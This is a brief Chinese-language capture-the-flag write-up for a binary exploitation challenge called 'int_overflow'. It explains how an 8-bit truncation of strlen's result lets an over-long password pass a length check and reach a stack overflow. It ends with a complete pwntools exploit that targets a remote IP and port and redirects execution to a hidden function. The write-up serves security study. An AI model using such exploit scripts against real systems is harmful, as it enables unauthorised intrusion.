int_overflow

0x01 寻找漏洞

1
2
3
4
5
6
7
8
xfgg@ubuntu:~/Downloads$ checksec int_overflow
[*] '/home/xfgg/Downloads/int_overflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开启了nx保护

1
read 函数处可以进行溢出,但是需要经过 check_passwd 函数才能将跳出login。现在再看一下 check_passwd 函数内部,

1
v3 = strlen(s);造成整数溢出的一个点,我们再看一下此处的汇编代码。

1
call strlen 之后 返回值放在了al寄存器中,这是一个八位的积存器,也就是说如果 s 字符串的长度 大于255 就会造成 整数溢出。 再加上四字节就可以溢出

0x02 思路分析

1
2
我们需要进到else里,将 read 读进来的 s 复制到 dest 中,是一个可以利用的栈溢出。
现在我们知道了可以通过整数溢出到达 栈溢出漏洞,修改程序执行流,使程序跳转到 what_is_this 中。

0x03 攻击

1
栈溢出漏洞 加一个整数漏洞

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote('111.198.29.45',44825)

p.sendlineafter("choice:","1")
p.sendlineafter("username:\n","2")
sys_addr = 0x0804868b
payload = 'a'*0x14+'a'*4+p32(sys_addr)
payload = payload.ljust(259,"A")

p.sendlineafter("passwd:\n",payload)
p.interactive()
0%